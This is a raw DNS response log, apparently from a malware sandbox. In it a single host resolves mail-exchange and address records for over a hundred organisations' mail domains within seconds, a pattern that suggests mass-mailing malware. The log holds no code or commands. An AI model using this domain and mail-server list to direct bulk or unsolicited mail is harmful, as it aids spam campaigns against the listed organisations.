Aug 24, 2023 19:03:31.368580103 CEST	8.8.8.8	192.168.2.8	0xc614	No error (0)	bevsupport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.368580103 CEST	8.8.8.8	192.168.2.8	0xc614	No error (0)	bevsupport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.368580103 CEST	8.8.8.8	192.168.2.8	0xc614	No error (0)	bevsupport.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.392030001 CEST	8.8.8.8	192.168.2.8	0x3a74	No error (0)	mxb-00131701.gslb.pphosted.com		67.231.158.130	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.441754103 CEST	8.8.8.8	192.168.2.8	0x8167	No error (0)	southbird.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.441754103 CEST	8.8.8.8	192.168.2.8	0x8167	No error (0)	southbird.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.441754103 CEST	8.8.8.8	192.168.2.8	0x8167	No error (0)	southbird.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.441754103 CEST	8.8.8.8	192.168.2.8	0x8167	No error (0)	southbird.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.441754103 CEST	8.8.8.8	192.168.2.8	0x8167	No error (0)	southbird.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.454205036 CEST	8.8.8.8	192.168.2.8	0xc5c	No error (0)	zoominternet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.474351883 CEST	8.8.8.8	192.168.2.8	0xd32b	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.498737097 CEST	8.8.8.8	192.168.2.8	0x838	No error (0)	mx.armstrong.syn-alias.com		193.122.187.19	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.548510075 CEST	8.8.8.8	192.168.2.8	0x9048	No error (0)	daiwa-dae.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.586745024 CEST	8.8.8.8	192.168.2.8	0x800d	No error (0)	ccso.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.595694065 CEST	8.8.8.8	192.168.2.8	0xb027	No error (0)	daiwadae-com01c.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.595694065 CEST	8.8.8.8	192.168.2.8	0xb027	No error (0)	daiwadae-com01c.mail.protection.outlook.com		104.47.18.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.597470999 CEST	8.8.8.8	192.168.2.8	0x678	No error (0)	ssc-spc.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.597470999 CEST	8.8.8.8	192.168.2.8	0x678	No error (0)	ssc-spc.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.627666950 CEST	8.8.8.8	192.168.2.8	0x1c4	No error (0)	ccso-org.mail.protection.outlook.com		104.47.64.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.627666950 CEST	8.8.8.8	192.168.2.8	0x1c4	No error (0)	ccso-org.mail.protection.outlook.com		104.47.65.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.724354982 CEST	8.8.8.8	192.168.2.8	0x5a03	No error (0)	mgin1.ssc-spc.gc.ca		205.193.122.69	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.899595022 CEST	8.8.8.8	192.168.2.8	0xf8bd	No error (0)	pemex.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.935945034 CEST	8.8.8.8	192.168.2.8	0xfb47	No error (0)	pemex-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.935945034 CEST	8.8.8.8	192.168.2.8	0xfb47	No error (0)	pemex-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.950953007 CEST	8.8.8.8	192.168.2.8	0x21e3	No error (0)	earthlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.950953007 CEST	8.8.8.8	192.168.2.8	0x21e3	No error (0)	earthlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.950953007 CEST	8.8.8.8	192.168.2.8	0x21e3	No error (0)	earthlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.950953007 CEST	8.8.8.8	192.168.2.8	0x21e3	No error (0)	earthlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.969291925 CEST	8.8.8.8	192.168.2.8	0xf85f	No error (0)	hotmail.co.uk			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.976811886 CEST	8.8.8.8	192.168.2.8	0x115c	No error (0)	mx01.earthlink-vadesecure.net		51.81.61.70	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.999499083 CEST	8.8.8.8	192.168.2.8	0xbfa4	No error (0)	eur.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.999499083 CEST	8.8.8.8	192.168.2.8	0xbfa4	No error (0)	eur.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.020173073 CEST	8.8.8.8	192.168.2.8	0x524f	No error (0)	gofia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.149823904 CEST	8.8.8.8	192.168.2.8	0x8eb5	No error (0)	mail.peaceworks.ca		149.56.24.155	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.254847050 CEST	8.8.8.8	192.168.2.8	0xe310	No error (0)	netrevolution.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.254847050 CEST	8.8.8.8	192.168.2.8	0xe310	No error (0)	netrevolution.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.419570923 CEST	8.8.8.8	192.168.2.8	0xcad	No error (0)	mg1.netrevolution.com		209.222.235.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.478533030 CEST	8.8.8.8	192.168.2.8	0xd77e	No error (0)	liberal.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.518280983 CEST	8.8.8.8	192.168.2.8	0x94d4	No error (0)	liberal-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.518280983 CEST	8.8.8.8	192.168.2.8	0x94d4	No error (0)	liberal-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.519345999 CEST	8.8.8.8	192.168.2.8	0xc8ac	No error (0)	optonline.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.540793896 CEST	8.8.8.8	192.168.2.8	0xe963	No error (0)	mx.altice.prod.msg.synchronoss.net		65.20.63.100	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.704811096 CEST	8.8.8.8	192.168.2.8	0x1068	No error (0)	ecothrift.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.743881941 CEST	8.8.8.8	192.168.2.8	0x7df5	No error (0)	ecothrift-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.743881941 CEST	8.8.8.8	192.168.2.8	0x7df5	No error (0)	ecothrift-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.889385939 CEST	8.8.8.8	192.168.2.8	0x9f9d	No error (0)	adelphia.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.900686979 CEST	8.8.8.8	192.168.2.8	0xf02f	No error (0)	ns.sympatico.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.913324118 CEST	8.8.8.8	192.168.2.8	0x9f9d	No error (0)	adelphia.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.031836987 CEST	8.8.8.8	192.168.2.8	0xce54	No error (0)	twu.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.044774055 CEST	8.8.8.8	192.168.2.8	0x8013	No error (0)	umanitoba.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.044774055 CEST	8.8.8.8	192.168.2.8	0x8013	No error (0)	umanitoba.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.044774055 CEST	8.8.8.8	192.168.2.8	0x8013	No error (0)	umanitoba.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.060512066 CEST	8.8.8.8	192.168.2.8	0xa34	No error (0)	rogers.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.076226950 CEST	8.8.8.8	192.168.2.8	0x909	No error (0)	twu-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.076226950 CEST	8.8.8.8	192.168.2.8	0x909	No error (0)	twu-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.088422060 CEST	8.8.8.8	192.168.2.8	0x689f	No error (0)	umce3cip03.ad.umanitoba.ca		130.179.21.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.097902060 CEST	8.8.8.8	192.168.2.8	0x2d6b	No error (0)	mx-rogers.mail.am0.yahoodns.net		67.195.204.82	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.097902060 CEST	8.8.8.8	192.168.2.8	0x2d6b	No error (0)	mx-rogers.mail.am0.yahoodns.net		67.195.228.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.140881062 CEST	8.8.8.8	192.168.2.8	0x93f	No error (0)	gov.nt.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.140881062 CEST	8.8.8.8	192.168.2.8	0x93f	No error (0)	gov.nt.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.140881062 CEST	8.8.8.8	192.168.2.8	0x93f	No error (0)	gov.nt.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.140881062 CEST	8.8.8.8	192.168.2.8	0x93f	No error (0)	gov.nt.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.160748005 CEST	8.8.8.8	192.168.2.8	0x7bad	No error (0)	mx.bellaliant.net	mx-aliant.bell.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:33.160748005 CEST	8.8.8.8	192.168.2.8	0x7bad	No error (0)	mx-aliant.bell.net		209.71.208.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.194195032 CEST	8.8.8.8	192.168.2.8	0x3cec	No error (0)	mailgate.gov.nt.ca		216.108.160.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.209028006 CEST	8.8.8.8	192.168.2.8	0x4f2c	No error (0)	live.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.219064951 CEST	8.8.8.8	192.168.2.8	0xdbff	No error (0)	mcmaster.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.266609907 CEST	8.8.8.8	192.168.2.8	0x3f9e	No error (0)	mcmaster-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.266609907 CEST	8.8.8.8	192.168.2.8	0x3f9e	No error (0)	mcmaster-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.270294905 CEST	8.8.8.8	192.168.2.8	0x45fc	No error (0)	buckeye-express.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.270294905 CEST	8.8.8.8	192.168.2.8	0x45fc	No error (0)	buckeye-express.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.317837954 CEST	8.8.8.8	192.168.2.8	0x8a7a	No error (0)	twc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.345312119 CEST	8.8.8.8	192.168.2.8	0xc042	No error (0)	jamesmunday.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.350531101 CEST	8.8.8.8	192.168.2.8	0x8a7a	No error (0)	twc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.386315107 CEST	8.8.8.8	192.168.2.8	0xe7ef	No error (0)	mailserver.jamesmunday.com		213.171.216.40	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.397546053 CEST	8.8.8.8	192.168.2.8	0xec2a	No error (0)	mx2.buckeyecom.net		54.88.152.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.443542957 CEST	8.8.8.8	192.168.2.8	0x6157	No error (0)	kwic.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.449866056 CEST	8.8.8.8	192.168.2.8	0xb872	No error (0)	deerridgegolfclub.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.462059975 CEST	8.8.8.8	192.168.2.8	0x128b	No error (0)	nam.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.462059975 CEST	8.8.8.8	192.168.2.8	0x128b	No error (0)	nam.olc.protection.outlook.com		104.47.55.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.490541935 CEST	8.8.8.8	192.168.2.8	0x8371	No error (0)	deerridgegolfclub-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.490541935 CEST	8.8.8.8	192.168.2.8	0x8371	No error (0)	deerridgegolfclub-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.557456017 CEST	8.8.8.8	192.168.2.8	0xacb4	No error (0)	ttc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.557456017 CEST	8.8.8.8	192.168.2.8	0xacb4	No error (0)	ttc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.565241098 CEST	8.8.8.8	192.168.2.8	0xe79e	No error (0)	barracuda.kwic.com		199.58.116.87	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.615806103 CEST	8.8.8.8	192.168.2.8	0xd23a	No error (0)	fireburns.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.615806103 CEST	8.8.8.8	192.168.2.8	0xd23a	No error (0)	fireburns.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.627474070 CEST	8.8.8.8	192.168.2.8	0x978d	No error (0)	mail2.ttc.ca	mx2.hc720-25.ca.iphmx.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:03:33.627474070 CEST	8.8.8.8	192.168.2.8	0x978d	No error (0)	mx2.hc720-25.ca.iphmx.com		216.71.132.58	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.627474070 CEST	8.8.8.8	192.168.2.8	0x978d	No error (0)	mx2.hc720-25.ca.iphmx.com		216.71.129.37	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.734240055 CEST	8.8.8.8	192.168.2.8	0x5f99	Name error (3)	grindsdirect.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.784667969 CEST	8.8.8.8	192.168.2.8	0xbbd1	No error (0)	wvi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.821530104 CEST	8.8.8.8	192.168.2.8	0xf485	No error (0)	orange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.821530104 CEST	8.8.8.8	192.168.2.8	0xf485	No error (0)	orange.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.832323074 CEST	8.8.8.8	192.168.2.8	0x92ce	No error (0)	awsusw2a.fireburns.net		34.218.149.231	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.853039980 CEST	8.8.8.8	192.168.2.8	0x6268	No error (0)	smtp-ina.orange.com		80.12.126.182	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.931544065 CEST	8.8.8.8	192.168.2.8	0x1072	No error (0)	wvi-net.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.985497952 CEST	8.8.8.8	192.168.2.8	0x9bce	No error (0)	peacecorps.gov			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.985497952 CEST	8.8.8.8	192.168.2.8	0x9bce	No error (0)	peacecorps.gov			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.025233030 CEST	8.8.8.8	192.168.2.8	0x4142	No error (0)	mx1.peacecorps.iphmx.com		68.232.143.80	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.025233030 CEST	8.8.8.8	192.168.2.8	0x4142	No error (0)	mx1.peacecorps.iphmx.com		68.232.140.78	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.068649054 CEST	8.8.8.8	192.168.2.8	0x6d53	No error (0)	fiit.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.068649054 CEST	8.8.8.8	192.168.2.8	0x6d53	No error (0)	fiit.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.068649054 CEST	8.8.8.8	192.168.2.8	0x6d53	No error (0)	fiit.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.103475094 CEST	8.8.8.8	192.168.2.8	0xcab2	No error (0)	mx10.antispam.mailspamprotection.com		34.149.79.66	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.159931898 CEST	8.8.8.8	192.168.2.8	0xc70a	No error (0)	parl.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.159931898 CEST	8.8.8.8	192.168.2.8	0xc70a	No error (0)	parl.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.187531948 CEST	8.8.8.8	192.168.2.8	0x75a5	No error (0)	mx1.hc650-42.ca.iphmx.com		216.71.134.52	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.187531948 CEST	8.8.8.8	192.168.2.8	0x75a5	No error (0)	mx1.hc650-42.ca.iphmx.com		216.71.130.254	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.609148979 CEST	8.8.8.8	192.168.2.8	0x4822	No error (0)	brookfieldgis.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.609148979 CEST	8.8.8.8	192.168.2.8	0x4822	No error (0)	brookfieldgis.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.660340071 CEST	8.8.8.8	192.168.2.8	0x9553	No error (0)	larrysrentall.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.737921000 CEST	8.8.8.8	192.168.2.8	0xc5d3	No error (0)	mxb-0024de01.gslb.pphosted.com		67.231.151.88	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.755213022 CEST	8.8.8.8	192.168.2.8	0x3676	No error (0)	watt.co			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.796902895 CEST	8.8.8.8	192.168.2.8	0x5a6b	Server failure (2)	glassrooms.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.797302008 CEST	8.8.8.8	192.168.2.8	0x80c6	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.819276094 CEST	8.8.8.8	192.168.2.8	0xe084	No error (0)	okoarefuge.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.819276094 CEST	8.8.8.8	192.168.2.8	0xe084	No error (0)	okoarefuge.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.819276094 CEST	8.8.8.8	192.168.2.8	0xe084	No error (0)	okoarefuge.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.819276094 CEST	8.8.8.8	192.168.2.8	0xe084	No error (0)	okoarefuge.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.819276094 CEST	8.8.8.8	192.168.2.8	0xe084	No error (0)	okoarefuge.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.836011887 CEST	8.8.8.8	192.168.2.8	0xbccd	No error (0)	optimusholdings.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.836011887 CEST	8.8.8.8	192.168.2.8	0xbccd	No error (0)	optimusholdings.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.847721100 CEST	8.8.8.8	192.168.2.8	0x15d0	No error (0)	larrysrentall.com		192.254.234.192	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.850553036 CEST	8.8.8.8	192.168.2.8	0xf27d	No error (0)	cnl.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.850553036 CEST	8.8.8.8	192.168.2.8	0xf27d	No error (0)	cnl.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.866204977 CEST	8.8.8.8	192.168.2.8	0xeebc	No error (0)	mx01.1and1.com		74.208.5.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.918096066 CEST	8.8.8.8	192.168.2.8	0xdfbb	No error (0)	teck.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.955621958 CEST	8.8.8.8	192.168.2.8	0x241e	No error (0)	teck-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.955621958 CEST	8.8.8.8	192.168.2.8	0x241e	No error (0)	teck-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:34.975128889 CEST	8.8.8.8	192.168.2.8	0xa1c3	No error (0)	iovate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.975128889 CEST	8.8.8.8	192.168.2.8	0xa1c3	No error (0)	iovate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.975128889 CEST	8.8.8.8	192.168.2.8	0xa1c3	No error (0)	iovate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.975128889 CEST	8.8.8.8	192.168.2.8	0xa1c3	No error (0)	iovate.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:34.992547989 CEST	8.8.8.8	192.168.2.8	0xa6bc	No error (0)	mxa-001cde01.gslb.pphosted.com		67.231.150.41	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.015500069 CEST	8.8.8.8	192.168.2.8	0xb8d1	No error (0)	mastermindtoys.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.015500069 CEST	8.8.8.8	192.168.2.8	0xb8d1	No error (0)	mastermindtoys.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.018933058 CEST	8.8.8.8	192.168.2.8	0x45d8	No error (0)	garretycpa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.018933058 CEST	8.8.8.8	192.168.2.8	0x45d8	No error (0)	garretycpa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.037130117 CEST	8.8.8.8	192.168.2.8	0xb6d	No error (0)	fakemail.iovate.com		72.38.65.185	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.041994095 CEST	8.8.8.8	192.168.2.8	0x440a	No error (0)	d215492a.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.041994095 CEST	8.8.8.8	192.168.2.8	0x440a	No error (0)	d215492a.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.041994095 CEST	8.8.8.8	192.168.2.8	0x440a	No error (0)	d215492a.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.048679113 CEST	8.8.8.8	192.168.2.8	0x42c4	No error (0)	mx1-us1.ppe-hosted.com		67.231.154.162	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.048679113 CEST	8.8.8.8	192.168.2.8	0x42c4	No error (0)	mx1-us1.ppe-hosted.com		148.163.129.50	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.109441042 CEST	8.8.8.8	192.168.2.8	0x472e	No error (0)	99.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.109441042 CEST	8.8.8.8	192.168.2.8	0x472e	No error (0)	99.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.328448057 CEST	8.8.8.8	192.168.2.8	0xc9c4	No error (0)	abb.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.378482103 CEST	8.8.8.8	192.168.2.8	0x27e6	No error (0)	abb-com.mail.protection.outlook.com		104.47.51.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.378482103 CEST	8.8.8.8	192.168.2.8	0x27e6	No error (0)	abb-com.mail.protection.outlook.com		104.47.51.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.387824059 CEST	8.8.8.8	192.168.2.8	0x277c	No error (0)	mxbiz1.qq.com		43.154.252.231	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.387824059 CEST	8.8.8.8	192.168.2.8	0x277c	No error (0)	mxbiz1.qq.com		43.154.252.185	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.466197968 CEST	8.8.8.8	192.168.2.8	0x78fa	No error (0)	gouv.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.501132965 CEST	8.8.8.8	192.168.2.8	0x46fc	No error (0)	wcdsb.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.514044046 CEST	8.8.8.8	192.168.2.8	0x51d2	No error (0)	gouv-qc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.514044046 CEST	8.8.8.8	192.168.2.8	0x51d2	No error (0)	gouv-qc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.530549049 CEST	8.8.8.8	192.168.2.8	0xab99	No error (0)	snet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.530549049 CEST	8.8.8.8	192.168.2.8	0xab99	No error (0)	snet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.530549049 CEST	8.8.8.8	192.168.2.8	0xab99	No error (0)	snet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.530549049 CEST	8.8.8.8	192.168.2.8	0xab99	No error (0)	snet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.539402008 CEST	8.8.8.8	192.168.2.8	0x5b25	No error (0)	wcdsb-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.539402008 CEST	8.8.8.8	192.168.2.8	0x5b25	No error (0)	wcdsb-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.548250914 CEST	8.8.8.8	192.168.2.8	0x71b7	No error (0)	yahoo.fr			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.577959061 CEST	8.8.8.8	192.168.2.8	0xf9cf	No error (0)	mx-eu.mail.am0.yahoodns.net		188.125.72.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.577959061 CEST	8.8.8.8	192.168.2.8	0xf9cf	No error (0)	mx-eu.mail.am0.yahoodns.net		188.125.72.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.656209946 CEST	8.8.8.8	192.168.2.8	0x2294	No error (0)	nov.com			MX (Mail exchange)	IN (0x0001)	false
